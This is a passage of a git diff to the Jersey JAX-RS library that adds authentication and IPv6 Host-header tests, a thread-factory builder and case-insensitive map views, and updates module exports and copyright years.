+        public StringHeader fromString(String value) {
+            StringHeader stringHeader = new StringHeader();
+            stringHeader.set(value);
+            return stringHeader;
+        }
+
+        @Override
+        public String toString(StringHeader value) {
+            //on purpose
+            return null;
+        }
+    }
+
+    private static class StringHeaderRuntimeDelegate extends RuntimeDelegate {
+        private final RuntimeDelegate original;
+
+        private StringHeaderRuntimeDelegate(RuntimeDelegate original) {
+            this.original = original;
+        }
+
+        @Override
+        public UriBuilder createUriBuilder() {
+            return original.createUriBuilder();
+        }
+
+        @Override
+        public Response.ResponseBuilder createResponseBuilder() {
+            return original.createResponseBuilder();
+        }
+
+        @Override
+        public Variant.VariantListBuilder createVariantListBuilder() {
+            return original.createVariantListBuilder();
+        }
+
+        @Override
+        public <T> T createEndpoint(Application application, Class<T> endpointType)
+                throws IllegalArgumentException, UnsupportedOperationException {
+            return original.createEndpoint(application, endpointType);
+        }
+
+        @Override
+        @SuppressWarnings("unchecked")
+        public <T> HeaderDelegate<T> createHeaderDelegate(Class<T> type) throws IllegalArgumentException {
+            if (StringHeader.class.equals(type)) {
+                return (HeaderDelegate<T>) new StringHeaderDelegate();
+            }
+            return original.createHeaderDelegate(type);
+        }
+
+        @Override
+        public Link.Builder createLinkBuilder() {
+            return original.createLinkBuilder();
+        }
+
+        @Override
+        public SeBootstrap.Configuration.Builder createConfigurationBuilder() {
+            return original.createConfigurationBuilder();
+        }
+
+        @Override
+        public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) {
+            return original.bootstrap(application, configuration);
+        }
+
+        @Override
+        public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> clazz,
+                                                               SeBootstrap.Configuration configuration) {
+            return original.bootstrap(clazz, configuration);
+        }
+
+        @Override
+        public EntityPart.Builder createEntityPartBuilder(String partName) throws IllegalArgumentException {
+            return original.createEntityPartBuilder(partName);
+        }
+    }
+
+}
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/authentication/BasicAuthenticatorTest.java b/core-client/src/test/java/org/glassfish/jersey/client/authentication/BasicAuthenticatorTest.java
new file mode 100644
index 0000000..ad5b721
--- /dev/null
+++ b/core-client/src/test/java/org/glassfish/jersey/client/authentication/BasicAuthenticatorTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client.authentication;
+
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.MultivaluedMap;
+import java.util.Arrays;
+import java.util.Collections;
+
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+class BasicAuthenticatorTest {
+
+    @Test
+    void filterResponseAndAuthenticateNoAuthHeadersTest() {
+        final BasicAuthenticator authenticator
+                = new BasicAuthenticator(new HttpAuthenticationFilter.Credentials("foo", "bar"));
+        final ClientRequestContext request = mock(ClientRequestContext.class);
+        final ClientResponseContext response = mock(ClientResponseContext.class);
+
+        when(response.getHeaders()).thenReturn(mock(MultivaluedMap.class));
+
+        assertFalse(authenticator.filterResponseAndAuthenticate(request, response));
+    }
+
+    @Test
+    void filterResponseAndAuthenticateAuthHeaderNotBasicTest() {
+        final BasicAuthenticator authenticator
+                = new BasicAuthenticator(new HttpAuthenticationFilter.Credentials("foo", "bar"));
+        final ClientRequestContext request = mock(ClientRequestContext.class);
+        final ClientResponseContext response = mock(ClientResponseContext.class);
+
+        final MultivaluedMap<String, String> headers = mock(MultivaluedMap.class);
+        when(response.getHeaders()).thenReturn(headers);
+        when(headers.get(HttpHeaders.WWW_AUTHENTICATE)).thenReturn(Collections.singletonList("Digest realm=\"test\""));
+
+        assertFalse(authenticator.filterResponseAndAuthenticate(request, response));
+    }
+
+    @Test
+    void filterResponseAndAuthenticateEmptyListTest() {
+        final BasicAuthenticator authenticator
+                = new BasicAuthenticator(new HttpAuthenticationFilter.Credentials("foo", "bar"));
+        final ClientRequestContext request = mock(ClientRequestContext.class);
+        final ClientResponseContext response = mock(ClientResponseContext.class);
+
+        final MultivaluedMap<String, String> headers = mock(MultivaluedMap.class);
+        when(response.getHeaders()).thenReturn(headers);
+        when(headers.get(HttpHeaders.WWW_AUTHENTICATE)).thenReturn(Collections.emptyList());
+
+        assertFalse(authenticator.filterResponseAndAuthenticate(request, response));
+    }
+
+    @Test
+    void filterResponseAndAuthenticateNullListTest() {
+        final BasicAuthenticator authenticator
+                = new BasicAuthenticator(new HttpAuthenticationFilter.Credentials("foo", "bar"));
+        final ClientRequestContext request = mock(ClientRequestContext.class);
+        final ClientResponseContext response = mock(ClientResponseContext.class);
+
+        final MultivaluedMap<String, String> headers = mock(MultivaluedMap.class);
+        when(response.getHeaders()).thenReturn(headers);
+        when(headers.get(HttpHeaders.WWW_AUTHENTICATE)).thenReturn(null);
+
+        assertFalse(authenticator.filterResponseAndAuthenticate(request, response));
+    }
+
+    @Test
+    void filterResponseAndAuthenticateMissingCredentialsMultipleAuthRealmsTest() {
+        final String[] authHeaders = new String[] {
+                "Digest realm=\"test\"",
+                "Basic realm=\"test\""
+        };
+        final BasicAuthenticator authenticator = new BasicAuthenticator(null);
+        final ClientRequestContext request = mock(ClientRequestContext.class);
+        final ClientResponseContext response = mock(ClientResponseContext.class);
+
+        final MultivaluedMap<String, String> headers = mock(MultivaluedMap.class);
+        when(response.getHeaders()).thenReturn(headers);
+        when(headers.get(HttpHeaders.WWW_AUTHENTICATE)).thenReturn(Arrays.asList(authHeaders));
+        when(response.hasEntity()).thenReturn(false);
+
+        assertThrows(ResponseAuthenticationException.class,
+                () -> authenticator.filterResponseAndAuthenticate(request, response));
+    }
+
+}
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/innate/http/SSLParamConfiguratorTest.java b/core-client/src/test/java/org/glassfish/jersey/client/innate/http/SSLParamConfiguratorTest.java
index 06dcdec..e7a61d0 100644
--- a/core-client/src/test/java/org/glassfish/jersey/client/innate/http/SSLParamConfiguratorTest.java
+++ b/core-client/src/test/java/org/glassfish/jersey/client/innate/http/SSLParamConfiguratorTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,9 +27,13 @@
 import org.hamcrest.Matchers;
 import org.junit.jupiter.api.Test;
 
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
 import jakarta.ws.rs.client.ClientBuilder;
 import jakarta.ws.rs.core.MultivaluedHashMap;
+import jakarta.ws.rs.core.Response;
 
+import java.net.ConnectException;
 import java.net.URI;
 import java.util.Collections;
 import java.util.List;
@@ -155,4 +159,56 @@
         MatcherAssert.assertThat(configurator.isSNIRequired(), Matchers.is(true));
         MatcherAssert.assertThat(configurator.getSNIHostName(), Matchers.is("yyy.com"));
     }
+
+    @Test
+    public void testIPv6Header() {
+        final String HOST_HEADER_IPv6 = "[172:30::333b]";
+        final URI uri = URI.create("http://[172:30::333a]:8080/api/demo/v1");
+        final JerseyClient client = (JerseyClient) ClientBuilder.newClient();
+        Map<String, List<Object>> httpHeaders = new MultivaluedHashMap<>();
+        httpHeaders.put(HttpHeaders.HOST, Collections.singletonList(HOST_HEADER_IPv6 + ":8080"));
+        SSLParamConfigurator configurator = SSLParamConfigurator.builder()
+                .uri(uri)
+                .headers(httpHeaders)
+                .configuration(client.getConfiguration())
+                .build();
+        MatcherAssert.assertThat(configurator.isSNIRequired(), Matchers.is(true));
+        MatcherAssert.assertThat(configurator.getSNIHostName(), Matchers.is(HOST_HEADER_IPv6));
+        URI expected = URI.create("http://" + HOST_HEADER_IPv6 + ":8080/api/demo/v1");
+        MatcherAssert.assertThat(configurator.getSNIUri(), Matchers.is(expected));
+        MatcherAssert.assertThat(configurator.toIPRequestUri().toString(),
+                Matchers.is(uri.toString().replace("::", ":0:0:0:0:0:")));
+    }
+
+    @Test
+    public void testIpv6Request() {
+        Client client = ClientBuilder.newClient();
+        String u = "http://[::1]:8080";
+        try {
+            client.target(u)
+                    .request()
+                    .header(HttpHeaders.HOST, "[172:30::333b]:8080")
+                    .get();
+        } catch (ProcessingException pe) {
+            if (!ConnectException.class.isInstance(pe.getCause())) {
+                throw pe;
+            }
+        }
+    }
+
+    @Test
+    public void testIpv6RequestNoPort() {
+        Client client = ClientBuilder.newClient();
+        String u = "http://[::1]";
+        try {
+            client.target(u)
+                    .request()
+                    .header(HttpHeaders.HOST, "[172:30::333b]")
+                    .get();
+        } catch (ProcessingException pe) {
+            if (!ConnectException.class.isInstance(pe.getCause())) {
+                throw pe;
+            }
+        }
+    }
 }
diff --git a/core-common/src/main/java/module-info.java b/core-common/src/main/java/module-info.java
index d7a0f4d..2962b08 100644
--- a/core-common/src/main/java/module-info.java
+++ b/core-common/src/main/java/module-info.java
@@ -55,7 +55,7 @@
 
     exports org.glassfish.jersey.innate to org.glassfish.jersey.core.client,org.glassfish.jersey.core.server,
                                            org.glassfish.jersey.container.grizzly2.http,
-                                           org.glassfish.jersey.container.servlet.core,
+                                           org.glassfish.jersey.container.servlet,
                                            org.glassfish.jersey.container.jetty.http,
                                            org.glassfish.jersey.netty.connector,
                                            org.glassfish.jersey.ext.mp.rest.client;
@@ -64,7 +64,7 @@
                                                   org.glassfish.jersey.core.client,
                                                   org.glassfish.jersey.core.server,
                                                   org.glassfish.jersey.container.grizzly2.http,
-                                                  org.glassfish.jersey.container.servlet.core,
+                                                  org.glassfish.jersey.container.servlet,
                                                   org.glassfish.jersey.container.jetty.http,
                                                   org.glassfish.jersey.media.sse,
                                                   org.glassfish.jersey.media.jaxb,
@@ -84,13 +84,17 @@
 
     opens org.glassfish.jersey.innate.virtual to org.glassfish.jersey.container.grizzly2.http,
                                                  org.glassfish.jersey.container.jetty.http;
-    opens org.glassfish.jersey.innate to org.glassfish.jersey.container.servlet.core;
+    opens org.glassfish.jersey.innate to org.glassfish.jersey.container.servlet;
 
     exports org.glassfish.jersey.innate.io to org.glassfish.jersey.core.server,
-                                              org.glassfish.jersey.container.servlet.core,
+                                              org.glassfish.jersey.core.client,
+                                              org.glassfish.jersey.container.servlet,
                                               org.glassfish.jersey.apache5.connector,
                                               org.glassfish.jersey.apache.connector;
     exports org.glassfish.jersey.innate.spi to org.glassfish.jersey.core.client,
+                                               org.glassfish.jersey.core.server,
+                                               org.glassfish.jersey.media.multipart;
+    exports org.glassfish.jersey.io.spi to org.glassfish.jersey.core.server,
                                                org.glassfish.jersey.media.multipart;
     exports org.glassfish.jersey.innate.inject.spi to org.glassfish.jersey.inject.hk2;
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/VirtualThreadUtil.java b/core-common/src/main/java/org/glassfish/jersey/innate/VirtualThreadUtil.java
index 3511d8e..5c7dbdb 100644
--- a/core-common/src/main/java/org/glassfish/jersey/innate/VirtualThreadUtil.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/VirtualThreadUtil.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,6 +18,7 @@
 
 import org.glassfish.jersey.CommonProperties;
 import org.glassfish.jersey.innate.virtual.LoomishExecutors;
+import org.glassfish.jersey.innate.virtual.ThreadFactoryBuilder;
 
 import jakarta.ws.rs.core.Configuration;
 import java.util.concurrent.ThreadFactory;
@@ -26,6 +27,9 @@
  * Factory class to provide JDK specific implementation of bits related to the virtual thread support.
  */
 public final class VirtualThreadUtil {
+    public static ThreadFactoryBuilder threadFactoryBuilder(String prefix, long start) {
+        return new ThreadFactoryBuilder().prefix(prefix).start(start);
+    }
 
     private static final boolean USE_VIRTUAL_THREADS_BY_DEFAULT = false;
 
@@ -48,10 +52,23 @@
     /**
      * Return an instance of {@link LoomishExecutors} based on a configuration property.
      * @param config the {@link Configuration}
-     * @param useVirtualByDefault the default use if not said otherwise by property
+     * @param useVirtualByDefault the default use if not said otherwise by property.
      * @return the {@link LoomishExecutors} instance.
      */
     public static LoomishExecutors withConfig(Configuration config, boolean useVirtualByDefault) {
+        return withConfig(config, null, useVirtualByDefault);
+    }
+
+    /**
+     * Return an instance of {@link LoomishExecutors} based on a configuration property.
+     * @param config the {@link Configuration}
+     * @param threadFactoryBuilder the information for the thread factory.
+     * @param useVirtualByDefault the default use if not said otherwise by property.
+     * @return the {@link LoomishExecutors} instance.
+     */
+    public static LoomishExecutors withConfig(Configuration config,
+                                              ThreadFactoryBuilder threadFactoryBuilder,
+                                              boolean useVirtualByDefault) {
         ThreadFactory tfThreadFactory = null;
         boolean useVirtualThreads = useVirtualThreads(config, useVirtualByDefault);
 
@@ -59,6 +76,8 @@
             Object threadFactory = config.getProperty(CommonProperties.THREAD_FACTORY);
             if (threadFactory != null && ThreadFactory.class.isInstance(threadFactory)) {
                 tfThreadFactory = (ThreadFactory) threadFactory;
+            } else if (threadFactoryBuilder != null) {
+                return VirtualThreadSupport.allowVirtual(useVirtualThreads, threadFactoryBuilder);
             }
         }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/io/SafelyClosable.java b/core-common/src/main/java/org/glassfish/jersey/innate/io/SafelyClosable.java
new file mode 100644
index 0000000..33983b6
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/io/SafelyClosable.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.io;
+
+/**
+ * A SafelyClosable is a resource that can be closed.
+ * The close method is invoked to release resources that the object is holding.
+ * Closing the resource is safe in a sense that no Exception is being thrown.
+ */
+public interface SafelyClosable {
+
+    /**
+     * Close the resource, no checked exception thrown.
+     */
+    void close();
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/virtual/ThreadFactoryBuilder.java b/core-common/src/main/java/org/glassfish/jersey/innate/virtual/ThreadFactoryBuilder.java
new file mode 100644
index 0000000..383015c
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/virtual/ThreadFactoryBuilder.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.virtual;
+
+/**
+ * Bearer of the information used for building {@code ThreadFactory} either by using virtual threads or platform threads.
+ */
+public class ThreadFactoryBuilder {
+    private long start = 0L;
+    private String prefix = null;
+
+    /**
+     * Get the thread name prefix.
+     * @return the thread name prefix.
+     */
+    public String prefix() {
+        return prefix;
+    }
+
+    /**
+     * The prefix of the name of the thread. For instance "my-factory-thread-".
+     * @param prefix the thread name prefix.
+     * @return
+     */
+    public ThreadFactoryBuilder prefix(String prefix) {
+        this.prefix = prefix;
+        return this;
+    }
+
+    /**
+     * Get the initial id for the first thread created by the thread factory.
+     * @return the initial thread id.
+     */
+    public long start() {
+        return start;
+    }
+
+    /**
+     * Set the initial id for the first thread created by the thread factory. The prefix and the id make the name of the thread.
+     * For instance "my-factory-thread-0".
+     * @param start the initial id for the first thread created by the thread factory.
+     * @return the updated builder.
+     */
+    public ThreadFactoryBuilder start(long start) {
+        this.start = start;
+        return this;
+    }
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java b/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java
index 77ab1e1..e69569e 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -57,6 +57,8 @@
 import org.osgi.framework.FrameworkUtil;
 import org.osgi.framework.SynchronousBundleListener;
 
+import static java.nio.charset.StandardCharsets.UTF_8;
+
 /**
  * Utility class to deal with OSGi runtime specific behavior.
  * This is mainly to handle META-INF/services lookup
@@ -210,7 +212,7 @@
                 if (LOGGER.isLoggable(Level.FINEST)) {
                     LOGGER.log(Level.FINEST, "Loading providers for SPI: {0}", spi);
                 }
-                reader = new BufferedReader(new InputStreamReader(spiRegistryUrl.openStream(), "UTF-8"));
+                reader = new BufferedReader(new InputStreamReader(spiRegistryUrl.openStream(), UTF_8));
                 String providerClassName;
 
                 final List<Class<?>> providerClasses = new ArrayList<Class<?>>();
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Views.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Views.java
index 4765056..d1480d2 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Views.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Views.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -129,60 +129,177 @@
      * @return transformed map view.
      */
     public static <K, V, O> Map<K, V> mapView(Map<K, O> originalMap, Function<O, V> valuesTransformer) {
-        return new AbstractMap<K, V>() {
-            @Override
-            public Set<Entry<K, V>> entrySet() {
-                return new AbstractSet<Entry<K, V>>() {
+        return new KVOMap<K, V, O>(originalMap, valuesTransformer);
+    }
 
+    private static class KVOMap<K, V, O> extends AbstractMap<K, V> {
+            protected final Map<K, O> originalMap;
+            protected final Function<O, V> valuesTransformer;
 
-                    Set<Entry<K, O>> originalSet = originalMap.entrySet();
-                    Iterator<Entry<K, O>> original = originalSet.iterator();
+        private KVOMap(Map<K, O> originalMap, Function<O, V> valuesTransformer) {
+            this.originalMap = originalMap;
+            this.valuesTransformer = valuesTransformer;
+        }
 
-                    @Override
-                    public Iterator<Entry<K, V>> iterator() {
-                        return new Iterator<Entry<K, V>>() {
-                            @Override
-                            public boolean hasNext() {
-                                return original.hasNext();
-                            }
+        @Override
+        public Set<Entry<K, V>> entrySet() {
+            return new AbstractSet<Entry<K, V>>() {
 
-                            @Override
-                            public Entry<K, V> next() {
+                Set<Entry<K, O>> originalSet = originalMap.entrySet();
+                Iterator<Entry<K, O>> original = originalSet.iterator();
 
-                                Entry<K, O> next = original.next();
+                @Override
+                public Iterator<Entry<K, V>> iterator() {
+                    return new Iterator<Entry<K, V>>() {
+                        @Override
+                        public boolean hasNext() {
+                            return original.hasNext();
+                        }
 
-                                return new Entry<K, V>() {
-                                    @Override
-                                    public K getKey() {
-                                        return next.getKey();
-                                    }
+                        @Override
+                        public Entry<K, V> next() {
 
-                                    @Override
-                                    public V getValue() {
-                                        return valuesTransformer.apply(next.getValue());
-                                    }
+                            Entry<K, O> next = original.next();
 
-                                    @Override
-                                    public V setValue(V value) {
-                                        throw new UnsupportedOperationException("Not supported.");
-                                    }
-                                };
-                            }
+                            return new Entry<K, V>() {
+                                @Override
+                                public K getKey() {
+                                    return next.getKey();
+                                }
 
-                            @Override
-                            public void remove() {
-                                original.remove();
-                            }
-                        };
+                                @Override
+                                public V getValue() {
+                                    return valuesTransformer.apply(next.getValue());
+                                }
+
+                                @Override
+                                public V setValue(V value) {
+                                    return KVOMap.this.setValue(next, value);
+                                }
+                            };
+                        }
+
+                        @Override
+                        public void remove() {
+                            original.remove();
+                        }
+                    };
+                }
+
+                @Override
+                public int size() {
+                    return originalSet.size();
+                }
+            };
+        }
+
+        protected V setValue(Map.Entry<K, O> entry, V value) {
+            throw new UnsupportedOperationException("Not supported.");
+        }
+    }
+
+    /**
+     * Create a {@link Map} view, which transforms the values of provided original map.
+     * <p>
+     *
+     * @param originalMap       provided map.
+     * @param valuesTransformer values transformer.
+     * @return transformed map view.
+     */
+    public static Map<String, List<String>> mapObjectToStringView(Map<String, List<Object>> originalMap,
+                                                            Function<List<Object>, List<String>> valuesTransformer) {
+        return new ObjectToStringMap(originalMap, valuesTransformer);
+    }
+
+    private static class ObjectToStringMap extends KVOMap<String, List<String>, List<Object>> {
+
+        private ObjectToStringMap(Map<String, List<Object>> originalMap, Function<List<Object>, List<String>> valuesTransformer) {
+            super(originalMap, valuesTransformer);
+        }
+
+        @Override
+        protected List<String> setValue(Entry<String, List<Object>> entry, List<String> value) {
+            @SuppressWarnings("unchecked")
+            final List<Object> old = entry.setValue((List<Object>) (List<?>) value);
+            return valuesTransformer.apply(old);
+        }
+
+        @Override
+        public List<String> put(String key, List<String> value) {
+            @SuppressWarnings("unchecked")
+            final List<Object> old = originalMap.put(key, (List<Object>) (List<?>) value);
+            return valuesTransformer.apply(old);
+        }
+
+        @Override
+        public boolean containsKey(Object key) {
+            Iterator<Entry<String, List<String>>> i = entrySet().iterator();
+            if (key == null) {
+                while (i.hasNext()) {
+                    Entry<String, List<String>> e = i.next();
+                    if (e.getKey() == null) {
+                        return true;
                     }
-
-                    @Override
-                    public int size() {
-                        return originalSet.size();
+                }
+            } else {
+                while (i.hasNext()) {
+                    Entry<String, List<String>> e = i.next();
+                    if (((String) key).equalsIgnoreCase(e.getKey())) {
+                        return true;
                     }
-                };
+                }
             }
-        };
+            return false;
+        }
+
+        @Override
+        public List<String> get(Object key) {
+            Iterator<Entry<String, List<String>>> i = entrySet().iterator();
+            if (key == null) {
+                while (i.hasNext()) {
+                    Entry<String, List<String>> e = i.next();
+                    if (e.getKey() == null) {
+                        return e.getValue();
+                    }
+                }
+            } else {
+                while (i.hasNext()) {
+                    Entry<String, List<String>> e = i.next();
+                    if (((String) key).equalsIgnoreCase(e.getKey())) {
+                        return e.getValue();
+                    }
+                }
+            }
+            return null;
+        }
+
+        @Override
+        public List<String> remove(Object key) {
+            Iterator<Entry<String, List<String>>> i = entrySet().iterator();
+            Entry<String, List<String>> correctEntry = null;
+            if (key == null) {
+                while (correctEntry == null && i.hasNext()) {
+                    Entry<String, List<String>> e = i.next();
+                    if (e.getKey() == null) {
+                        correctEntry = e;
+                    }
+                }
+            } else {
+                while (correctEntry == null && i.hasNext()) {
+                    Entry<String, List<String>> e = i.next();
+                    if (((String) key).equalsIgnoreCase(e.getKey())) {
+                        correctEntry = e;
+                    }
+                }
+            }
+
+            List<String> oldValue = null;
+            if (correctEntry != null) {
+                oldValue = correctEntry.getValue();
+                i.remove();
+            }
+            return oldValue;
+        }
     }
 
     /**
diff --git a/core-common/src/main/java/org/glassfish/jersey/io/spi/FlushedCloseable.java b/core-common/src/main/java/org/glassfish/jersey/io/spi/FlushedCloseable.java
index 12aa714..4906de6 100644
--- a/core-common/src/main/java/org/glassfish/jersey/io/spi/FlushedCloseable.java
+++ b/core-common/src/main/java/org/glassfish/jersey/io/spi/FlushedCloseable.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.io.spi;
 
 import java.io.Closeable;
+import java.io.FilterOutputStream;
 import java.io.Flushable;
 import java.io.IOException;
 import java.io.OutputStream;
@@ -27,10 +28,9 @@
  * That way, {@link #flush()} method is not called twice.
  *
  * <p>
- *     Usable by {@link javax.ws.rs.client.ClientRequestContext#setEntityStream(OutputStream)}.
- *     Usable by {@link javax.ws.rs.container.ContainerResponseContext#setEntityStream(OutputStream)}.
+ *     Usable by {@link jakarta.ws.rs.client.ClientRequestContext#setEntityStream(OutputStream)}.
+ *     Usable by {@link jakarta.ws.rs.container.ContainerResponseContext#setEntityStream(OutputStream)}.
  * </p>
- *
  * <p>
  *     This marker interface can be useful for the customer OutputStream to know the {@code flush} did not come from
  *     Jersey before close. By default, when the entity stream is to be closed by Jersey, {@code flush} is called first.
@@ -52,4 +52,14 @@
      * @throws IOException if an I/O error occurs
      */
     public void close() throws IOException;
+
+
+    /**
+     * Determine if the stream {@link OutputStream#flush() flushes} on {@link OutputStream#close()}.
+     * @param stream the provided {@link OutputStream}
+     * @return {@code true} if the stream ensures to call {@link OutputStream#flush()} on {@link OutputStream#close()}.
+     */
+    public static boolean flushOnClose(OutputStream stream) {
+        return FilterOutputStream.class.isInstance(stream) || FlushedCloseable.class.isInstance(stream);
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/MessageBodyWorkers.java b/core-common/src/main/java/org/glassfish/jersey/message/MessageBodyWorkers.java
index 07907f2..4c4fc5c 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/MessageBodyWorkers.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/MessageBodyWorkers.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,6 +32,7 @@
 import jakarta.ws.rs.ext.ReaderInterceptor;
 import jakarta.ws.rs.ext.WriterInterceptor;
 
+import org.glassfish.jersey.innate.io.SafelyClosable;
 import org.glassfish.jersey.internal.PropertiesDelegate;
 
 /**
@@ -43,7 +44,7 @@
  * @see MessageBodyReader
  * @see MessageBodyWriter
  */
-public interface MessageBodyWorkers {
+public interface MessageBodyWorkers extends SafelyClosable {
     /**
      * Get the map of media type to list of message body writers that are compatible with
      * a media type.
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java
index 466eaaa..8af13c3 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -42,14 +42,6 @@
     // TODO: refactor away all constants & static wrappers of ReaderWriter methods and constants - those can be used directly.
 
     /**
-     * The UTF-8 Charset.
-     *
-     * @deprecated use {@code StandardCharsets.UTF_8} instead.
-     */
-    @Deprecated(forRemoval = true)
-    public static final Charset UTF8 = StandardCharsets.UTF_8;
-
-    /**
      * Reader bytes from an input stream and write then to an output stream.
      *
      * @param in  the input stream to read from.
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java
index e9f1bc2..1a64daa 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,6 +26,7 @@
 import org.glassfish.jersey.innate.VirtualThreadSupport;
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.guava.Preconditions;
+import org.glassfish.jersey.io.spi.FlushedCloseable;
 
 /**
  * A committing output stream with optional serialized entity buffering functionality
@@ -155,6 +156,12 @@
         enableBuffering(DEFAULT_BUFFER_SIZE);
     }
 
+    /* package */ void flushOnClose() throws IOException {
